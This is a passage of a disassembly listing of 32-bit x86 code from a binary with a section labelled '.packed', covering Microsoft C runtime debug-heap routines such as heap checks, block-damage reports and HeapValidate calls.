		int	3		; Trap to Debugger

loc_41CFE4:				; CODE XREF: sub_41CE90+131j
					; sub_41CE90+151j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41CFB8

loc_41CFEA:				; CODE XREF: sub_41CE90+126j
		mov	edx, [ebp+var_20]
		mov	eax, [edx+10h]
		mov	[ebp+var_1C], eax
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_41D001
		jmp	short loc_41D00C
sub_41CE90	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D001	proc near		; CODE XREF: sub_41CE90+16Ap
					; DATA XREF: .packed:0043C930o
		push	9
		call	sub_423320
		add	esp, 4
		retn
sub_41D001	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41CE90

loc_41D00C:				; CODE XREF: sub_41CE90+16Fj
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_41CE90
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4518A8
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	dword_4518A8, ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43C938
		push	offset sub_423364
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		push	9
		call	sub_423280
		add	esp, 4
		mov	dword ptr [ebp-4], 0
		mov	eax, [ebp+8]
		push	eax
		call	sub_41D6B0
		add	esp, 4
		test	eax, eax
		jz	short loc_41D0EF
		mov	ecx, [ebp+8]
		sub	ecx, 20h
		mov	[ebp-1Ch], ecx

loc_41D08D:				; CODE XREF: .packed:0041D0E4j
		mov	edx, [ebp-1Ch]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 4
		jz	short loc_41D0E0
		mov	ecx, [ebp-1Ch]
		cmp	dword ptr [ecx+14h], 1
		jz	short loc_41D0E0
		mov	edx, [ebp-1Ch]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 2
		jz	short loc_41D0E0
		mov	ecx, [ebp-1Ch]
		cmp	dword ptr [ecx+14h], 3
		jz	short loc_41D0E0
		push	offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
		push	0
		push	4FFh
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41D0E0
		int	3		; Trap to Debugger

loc_41D0E0:				; CODE XREF: .packed:0041D09Bj
					; .packed:0041D0A4j ...
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41D08D
		mov	eax, [ebp-1Ch]
		mov	ecx, [ebp+0Ch]
		mov	[eax+14h], ecx

loc_41D0EF:				; CODE XREF: .packed:0041D082j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_41D0FD
		jmp	short loc_41D108

; =============== S U B	R O U T	I N E =======================================



sub_41D0FD	proc near		; CODE XREF: .packed:0041D0F6p
					; DATA XREF: .packed:0043C940o
		push	9
		call	sub_423320
		add	esp, 4
		retn
sub_41D0FD	endp

; ---------------------------------------------------------------------------

loc_41D108:				; CODE XREF: .packed:0041D0FBj
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, off_451C70
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	off_451C70, ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D140	proc near		; CODE XREF: sub_41CA80+151p
					; sub_41CA80+1B7p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], 1

loc_41D14E:				; CODE XREF: sub_41D140:loc_41D1BCj
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		sub	ecx, 1
		mov	[ebp+arg_8], ecx
		test	eax, eax
		jz	short loc_41D1BE
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+arg_4]
		and	ecx, 0FFh
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		cmp	eax, ecx
		jz	short loc_41D1BC

loc_41D17B:				; CODE XREF: sub_41D140+73j
		mov	eax, [ebp+arg_4]
		and	eax, 0FFh
		push	eax
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dl, [ecx-1]
		push	edx
		mov	eax, [ebp+arg_0]
		sub	eax, 1
		push	eax
		push	offset aMemoryCheckErr ; "memory check error at	0x%08X = 0x%02X, "...
		push	0
		push	0
		push	0
		push	0
		call	sub_422610
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41D1AF
		int	3		; Trap to Debugger

loc_41D1AF:				; CODE XREF: sub_41D140+6Cj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41D17B
		mov	[ebp+var_4], 0

loc_41D1BC:				; CODE XREF: sub_41D140+39j
		jmp	short loc_41D14E
; ---------------------------------------------------------------------------

loc_41D1BE:				; CODE XREF: sub_41D140+1Cj
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41D140	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D1D0	proc near		; CODE XREF: sub_41BF80:loc_41BF9Cp
					; sub_41C3F0:loc_41C452p ...

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0041D550 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43CAC0
		push	offset sub_423364
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_4518A0
		and	eax, 1
		test	eax, eax
		jnz	short loc_41D209
		mov	eax, 1
		jmp	loc_41D553
; ---------------------------------------------------------------------------

loc_41D209:				; CODE XREF: sub_41D1D0+2Dj
		push	9
		call	sub_423280
		add	esp, 4
		mov	[ebp+var_4], 0
		call	sub_423E20
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0FFFFFFFFh
		jz	loc_41D32E
		cmp	[ebp+var_24], 0FFFFFFFEh
		jz	loc_41D32E
		mov	ecx, [ebp+var_24]
		mov	[ebp+var_30], ecx
		mov	edx, [ebp+var_30]
		add	edx, 6
		mov	[ebp+var_30], edx
		cmp	[ebp+var_30], 3
		ja	loc_41D2FC
		mov	eax, [ebp+var_30]
		jmp	off_41D564[eax*4]

loc_41D259:				; CODE XREF: sub_41D1D0+ADj
					; DATA XREF: .packed:0041D570o
		push	offset a_heapchkFailsW ; "_heapchk fails with _HEAPBADBEGIN.\n"
		push	offset aS_19	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_422610
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41D279
		int	3		; Trap to Debugger

loc_41D279:				; CODE XREF: sub_41D1D0+A6j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41D259
		jmp	loc_41D322
; ---------------------------------------------------------------------------

loc_41D284:				; CODE XREF: sub_41D1D0+82j
					; sub_41D1D0+D8j
					; DATA XREF: ...
		push	offset a_heapchkFail_0 ; "_heapchk fails with _HEAPBADNODE.\n"
		push	offset aS_19	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_422610
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41D2A4
		int	3		; Trap to Debugger

loc_41D2A4:				; CODE XREF: sub_41D1D0+D1j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41D284
		jmp	short loc_41D322
; ---------------------------------------------------------------------------

loc_41D2AC:				; CODE XREF: sub_41D1D0+82j
					; sub_41D1D0+100j
					; DATA XREF: ...
		push	offset a_heapchkFail_1 ; "_heapchk fails with _HEAPBADEND.\n"
		push	offset aS_19	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_422610
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41D2CC
		int	3		; Trap to Debugger

loc_41D2CC:				; CODE XREF: sub_41D1D0+F9j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41D2AC
		jmp	short loc_41D322
; ---------------------------------------------------------------------------

loc_41D2D4:				; CODE XREF: sub_41D1D0+82j
					; sub_41D1D0+128j
					; DATA XREF: ...
		push	offset a_heapchkFail_2 ; "_heapchk fails with _HEAPBADPTR.\n"
		push	offset aS_19	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_422610
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41D2F4
		int	3		; Trap to Debugger

loc_41D2F4:				; CODE XREF: sub_41D1D0+121j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41D2D4
		jmp	short loc_41D322
; ---------------------------------------------------------------------------

loc_41D2FC:				; CODE XREF: sub_41D1D0+79j
					; sub_41D1D0+150j
		push	offset a_heapchkFail_3 ; "_heapchk fails with unknown return valu"...
		push	offset aS_19	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_422610
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41D31C
		int	3		; Trap to Debugger

loc_41D31C:				; CODE XREF: sub_41D1D0+149j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41D2FC

loc_41D322:				; CODE XREF: sub_41D1D0+AFj
					; sub_41D1D0+DAj ...
		mov	[ebp+var_1C], 0
		jmp	loc_41D537
; ---------------------------------------------------------------------------

loc_41D32E:				; CODE XREF: sub_41D1D0+56j
					; sub_41D1D0+60j
		mov	[ebp+var_1C], 1
		mov	eax, dword_4F33A8
		mov	[ebp+var_20], eax
		jmp	short loc_41D347
; ---------------------------------------------------------------------------

loc_41D33F:				; CODE XREF: sub_41D1D0:loc_41D532j
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx]
		mov	[ebp+var_20], edx

loc_41D347:				; CODE XREF: sub_41D1D0+16Dj
		cmp	[ebp+var_20], 0
		jz	loc_41D537
		mov	[ebp+var_28], 1
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		cmp	ecx, 4
		jz	short loc_41D38C
		mov	edx, [ebp+var_20]
		cmp	dword ptr [edx+14h], 1
		jz	short loc_41D38C
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		cmp	ecx, 2
		jz	short loc_41D38C
		mov	edx, [ebp+var_20]
		cmp	dword ptr [edx+14h], 3
		jnz	short loc_41D3A4

loc_41D38C:				; CODE XREF: sub_41D1D0+197j
					; sub_41D1D0+1A0j ...
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		mov	edx, off_4518B0[ecx*4]
		mov	[ebp+var_2C], edx
		jmp	short loc_41D3AB
; ---------------------------------------------------------------------------

loc_41D3A4:				; CODE XREF: sub_41D1D0+1BAj
		mov	[ebp+var_2C], offset aDamaged ;	"DAMAGED"

loc_41D3AB:				; CODE XREF: sub_41D1D0+1D2j
		push	4
		mov	al, byte_4518AC
		push	eax
		mov	ecx, [ebp+var_20]
		add	ecx, 1Ch
		push	ecx
		call	sub_41D140
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D400

loc_41D3C6:				; CODE XREF: sub_41D1D0+227j
		mov	edx, [ebp+var_20]
		add	edx, 20h
		push	edx
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+18h]
		push	ecx
		mov	edx, [ebp+var_2C]
		push	edx
		push	offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"...
		push	0
		push	0
		push	0
		push	0
		call	sub_422610
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41D3F3
		int	3		; Trap to Debugger

loc_41D3F3:				; CODE XREF: sub_41D1D0+220j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41D3C6
		mov	[ebp+var_28], 0

loc_41D400:				; CODE XREF: sub_41D1D0+1F4j
		push	4
		mov	cl, byte_4518AC
		push	ecx
		mov	edx, [ebp+var_20]
		mov	eax, [edx+10h]
		mov	ecx, [ebp+var_20]
		lea	edx, [ecx+eax+20h]
		push	edx
		call	sub_41D140
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D45D

loc_41D423:				; CODE XREF: sub_41D1D0+284j
		mov	eax, [ebp+var_20]
		add	eax, 20h
		push	eax
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+var_2C]
		push	eax
		push	offset aDamageAfterHsB ; "DAMAGE: after	%hs block (#%d)	at 0x%08X"...
		push	0
		push	0
		push	0
		push	0
		call	sub_422610
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41D450
		int	3		; Trap to Debugger

loc_41D450:				; CODE XREF: sub_41D1D0+27Dj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41D423
		mov	[ebp+var_28], 0

loc_41D45D:				; CODE XREF: sub_41D1D0+251j
		mov	edx, [ebp+var_20]
		cmp	dword ptr [edx+14h], 0
		jnz	short loc_41D4B6
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+10h]
		push	ecx
		mov	dl, byte_4518AD
		push	edx
		mov	eax, [ebp+var_20]
		add	eax, 20h
		push	eax
		call	sub_41D140
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D4B6

loc_41D487:				; CODE XREF: sub_41D1D0+2DDj
		mov	ecx, [ebp+var_20]
		add	ecx, 20h
		push	ecx
		push	offset aDamageOnTopOfF ; "DAMAGE: on top of Free block at 0x%08X."...
		push	0
		push	0
		push	0
		push	0
		call	sub_422610
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41D4A9
		int	3		; Trap to Debugger

loc_41D4A9:				; CODE XREF: sub_41D1D0+2D6j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41D487
		mov	[ebp+var_28], 0

loc_41D4B6:				; CODE XREF: sub_41D1D0+294j
					; sub_41D1D0+2B5j
		cmp	[ebp+var_28], 0
		jnz	short loc_41D532
		mov	eax, [ebp+var_20]
		cmp	dword ptr [eax+8], 0
		jz	short loc_41D4F8

loc_41D4C5:				; CODE XREF: sub_41D1D0+326j
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+0Ch]
		push	edx
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+8]
		push	ecx
		mov	edx, [ebp+var_2C]
		push	edx
		push	offset aHsAllocatedAtF ; "%hs allocated	at file	%hs(%d).\n"
		push	0
		push	0
		push	0
		push	0
		call	sub_422610
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41D4F2
		int	3		; Trap to Debugger

loc_41D4F2:				; CODE XREF: sub_41D1D0+31Fj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41D4C5

loc_41D4F8:				; CODE XREF: sub_41D1D0+2F3j
					; sub_41D1D0+359j
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+10h]
		push	edx
		mov	eax, [ebp+var_20]
		add	eax, 20h
		push	eax
		mov	ecx, [ebp+var_2C]
		push	ecx
		push	offset aHsLocatedAt0x0 ; "%hs located at 0x%08X	is %u bytes long."...
		push	0
		push	0
		push	0
		push	0
		call	sub_422610
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41D525
		int	3		; Trap to Debugger

loc_41D525:				; CODE XREF: sub_41D1D0+352j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41D4F8
		mov	[ebp+var_1C], 0

loc_41D532:				; CODE XREF: sub_41D1D0+2EAj
		jmp	loc_41D33F
; ---------------------------------------------------------------------------

loc_41D537:				; CODE XREF: sub_41D1D0+159j
					; sub_41D1D0+17Bj
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_41D545
		jmp	short loc_41D550
sub_41D1D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D545	proc near		; CODE XREF: sub_41D1D0+36Ep
					; DATA XREF: .packed:0043CAC8o
		push	9
		call	sub_423320
		add	esp, 4
		retn
sub_41D545	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D1D0

loc_41D550:				; CODE XREF: sub_41D1D0+373j
		mov	eax, [ebp+var_1C]

loc_41D553:				; CODE XREF: sub_41D1D0+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_41D1D0
; ---------------------------------------------------------------------------
off_41D564	dd offset loc_41D2D4	; DATA XREF: sub_41D1D0+82r
		dd offset loc_41D2AC
		dd offset loc_41D284
		dd offset loc_41D259
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D580	proc near		; CODE XREF: sub_41E920+A0p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4518A0
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jz	short loc_41D59B
		mov	ecx, [ebp+arg_0]
		mov	dword_4518A0, ecx

loc_41D59B:				; CODE XREF: sub_41D580+10j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_41D580	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43CAD0
		push	offset sub_423364
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_4518A0
		and	eax, 1
		test	eax, eax
		jnz	short loc_41D5E1
		jmp	short loc_41D648
; ---------------------------------------------------------------------------

loc_41D5E1:				; CODE XREF: .packed:0041D5DDj
		push	9
		call	sub_423280
		add	esp, 4
		mov	dword ptr [ebp-4], 0
		mov	ecx, dword_4F33A8
		mov	[ebp-1Ch], ecx
		jmp	short loc_41D605
; ---------------------------------------------------------------------------

loc_41D5FD:				; CODE XREF: .packed:loc_41D62Dj
		mov	edx, [ebp-1Ch]
		mov	eax, [edx]
		mov	[ebp-1Ch], eax

loc_41D605:				; CODE XREF: .packed:0041D5FBj
		cmp	dword ptr [ebp-1Ch], 0
		jz	short loc_41D62F
		mov	ecx, [ebp-1Ch]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 4
		jnz	short loc_41D62D
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp-1Ch]
		add	ecx, 20h
		push	ecx
		call	dword ptr [ebp+8]
		add	esp, 8

loc_41D62D:				; CODE XREF: .packed:0041D61Aj
		jmp	short loc_41D5FD
; ---------------------------------------------------------------------------

loc_41D62F:				; CODE XREF: .packed:0041D609j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_41D63D
		jmp	short loc_41D648

; =============== S U B	R O U T	I N E =======================================



sub_41D63D	proc near		; CODE XREF: .packed:0041D636p
					; DATA XREF: .packed:0043CAD8o
		push	9
		call	sub_423320
		add	esp, 4
		retn
sub_41D63D	endp

; ---------------------------------------------------------------------------

loc_41D648:				; CODE XREF: .packed:0041D5DFj
					; .packed:0041D63Bj
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D660	proc near		; CODE XREF: sub_41D6B0+1Ep
					; .packed:0041D870p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_41D69D
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_4F5470	; IsBadReadPtr
		test	eax, eax
		jnz	short loc_41D69D
		cmp	[ebp+arg_8], 0
		jz	short loc_41D694
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4F546C	; IsBadWritePtr
		test	eax, eax
		jnz	short loc_41D69D

loc_41D694:				; CODE XREF: sub_41D660+20j
		mov	[ebp+var_4], 1
		jmp	short loc_41D6A4
; ---------------------------------------------------------------------------

loc_41D69D:				; CODE XREF: sub_41D660+8j
					; sub_41D660+1Aj ...
		mov	[ebp+var_4], 0

loc_41D6A4:				; CODE XREF: sub_41D660+3Bj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_41D660	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D6B0	proc near		; CODE XREF: sub_41C3F0+1AAp
					; sub_41CA80+9Cp ...

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_0], 0
		jnz	short loc_41D6C3
		xor	eax, eax
		jmp	loc_41D7D0
; ---------------------------------------------------------------------------

loc_41D6C3:				; CODE XREF: sub_41D6B0+Aj
		push	1
		push	20h
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		push	eax
		call	sub_41D660
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D6E1
		xor	eax, eax
		jmp	loc_41D7D0
; ---------------------------------------------------------------------------

loc_41D6E1:				; CODE XREF: sub_41D6B0+28j
		cmp	dword_4F3AAC, 3
		jnz	short loc_41D74E
		mov	ecx, [ebp+arg_0]
		sub	ecx, 20h
		push	ecx
		call	sub_4240F0
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41D71A
		mov	edx, [ebp+arg_0]
		sub	edx, 20h
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_424150
		add	esp, 8
		jmp	loc_41D7D0
; ---------------------------------------------------------------------------

loc_41D71A:				; CODE XREF: sub_41D6B0+50j
		mov	ecx, dword_4F33B8
		and	ecx, 8000h
		test	ecx, ecx
		jz	short loc_41D734
		mov	eax, 1
		jmp	loc_41D7D0
; ---------------------------------------------------------------------------

loc_41D734:				; CODE XREF: sub_41D6B0+78j
		mov	edx, [ebp+arg_0]
		sub	edx, 20h
		push	edx
		push	0
		mov	eax, dword_4F3AA8
		push	eax
		call	dword_4F5474	; HeapValidate
		jmp	loc_41D7D0
; ---------------------------------------------------------------------------

loc_41D74E:				; CODE XREF: sub_41D6B0+38j
		cmp	dword_4F3AAC, 2
		jnz	short loc_41D7BA
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	edx, [ebp+var_10]
		push	edx
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		push	eax
		call	sub_426110
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_41D78D
		mov	ecx, [ebp+var_C]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jz	short loc_41D789
		mov	eax, 1
		jmp	short loc_41D7D0
; ---------------------------------------------------------------------------

loc_41D789:				; CODE XREF: sub_41D6B0+D0j
		xor	eax, eax
		jmp	short loc_41D7D0
; ---------------------------------------------------------------------------

loc_41D78D:				; CODE XREF: sub_41D6B0+C5j
		mov	eax, dword_4F33B8
		and	eax, 8000h
		test	eax, eax
		jz	short loc_41D7A2
		mov	eax, 1
		jmp	short loc_41D7D0
; ---------------------------------------------------------------------------

loc_41D7A2:				; CODE XREF: sub_41D6B0+E9j
		mov	ecx, [ebp+arg_0]
		sub	ecx, 20h
		push	ecx
		push	0
		mov	edx, dword_4F3AA8
		push	edx
		call	dword_4F5474	; HeapValidate
		jmp	short loc_41D7D0
; ---------------------------------------------------------------------------

loc_41D7BA:				; CODE XREF: sub_41D6B0+A5j
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		push	eax
		push	0
		mov	ecx, dword_4F3AA8
		push	ecx
		call	dword_4F5474	; HeapValidate

loc_41D7D0:				; CODE XREF: sub_41D6B0+Ej
					; sub_41D6B0+2Cj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_41D6B0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43CAE0
		push	offset sub_423364
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+8]
		push	eax
		call	sub_41D6B0
		add	esp, 4
		test	eax, eax
		jnz	short loc_41D81A
		xor	eax, eax
		jmp	loc_41D8F4
; ---------------------------------------------------------------------------

loc_41D81A:				; CODE XREF: .packed:0041D811j
		push	9
		call	sub_423280
		add	esp, 4
		mov	dword ptr [ebp-4], 0
		mov	ecx, [ebp+8]
		sub	ecx, 20h
		mov	[ebp-1Ch], ecx
		mov	edx, [ebp-1Ch]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 4
		jz	short loc_41D866
		mov	ecx, [ebp-1Ch]
		cmp	dword ptr [ecx+14h], 1
		jz	short loc_41D866
		mov	edx, [ebp-1Ch]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 2
		jz	short loc_41D866
		mov	ecx, [ebp-1Ch]
		cmp	dword ptr [ecx+14h], 3
		jnz	short loc_41D8D1

loc_41D866:				; CODE XREF: .packed:0041D842j
					; .packed:0041D84Bj ...
		push	1
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_41D660
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41D8D1
		mov	ecx, [ebp-1Ch]
		mov	edx, [ecx+10h]
		cmp	edx, [ebp+0Ch]
		jnz	short loc_41D8D1
		mov	eax, [ebp-1Ch]
		mov	ecx, [eax+18h]
		cmp	ecx, dword_4518A4
		jg	short loc_41D8D1
		cmp	dword ptr [ebp+10h], 0
		jz	short loc_41D8A6
		mov	edx, [ebp+10h]
		mov	eax, [ebp-1Ch]
		mov	ecx, [eax+18h]
		mov	[edx], ecx

loc_41D8A6:				; CODE XREF: .packed:0041D899j
		cmp	dword ptr [ebp+14h], 0
		jz	short loc_41D8B7
		mov	edx, [ebp+14h]
		mov	eax, [ebp-1Ch]
		mov	ecx, [eax+8]
		mov	[edx], ecx

loc_41D8B7:				; CODE XREF: .packed:0041D8AAj
		cmp	dword ptr [ebp+18h], 0
		jz	short loc_41D8C8
		mov	edx, [ebp+18h]
		mov	eax, [ebp-1Ch]
		mov	ecx, [eax+0Ch]
		mov	[edx], ecx

loc_41D8C8:				; CODE XREF: .packed:0041D8BBj
		mov	dword ptr [ebp-20h], 1
		jmp	short loc_41D8D8
; ---------------------------------------------------------------------------

loc_41D8D1:				; CODE XREF: .packed:0041D864j
					; .packed:0041D87Aj ...
		mov	dword ptr [ebp-20h], 0

loc_41D8D8:				; CODE XREF: .packed:0041D8CFj
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_41D8E6
		jmp	short loc_41D8F1

; =============== S U B	R O U T	I N E =======================================



sub_41D8E6	proc near		; CODE XREF: .packed:0041D8DFp
					; DATA XREF: .packed:0043CAE8o
		push	9
		call	sub_423320
		add	esp, 4
		retn
sub_41D8E6	endp

; ---------------------------------------------------------------------------

loc_41D8F1:				; CODE XREF: .packed:0041D8E4j
		mov	eax, [ebp-20h]

loc_41D8F4:				; CODE XREF: .packed:0041D815j
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4F4AF8
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	dword_4F4AF8, ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D930	proc near		; CODE XREF: sub_41E030+Dp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0041DAC3 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43CB38
		push	offset sub_423364
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_0], 0
		jnz	short loc_41D984

loc_41D959:				; CODE XREF: sub_41D930+4Dj
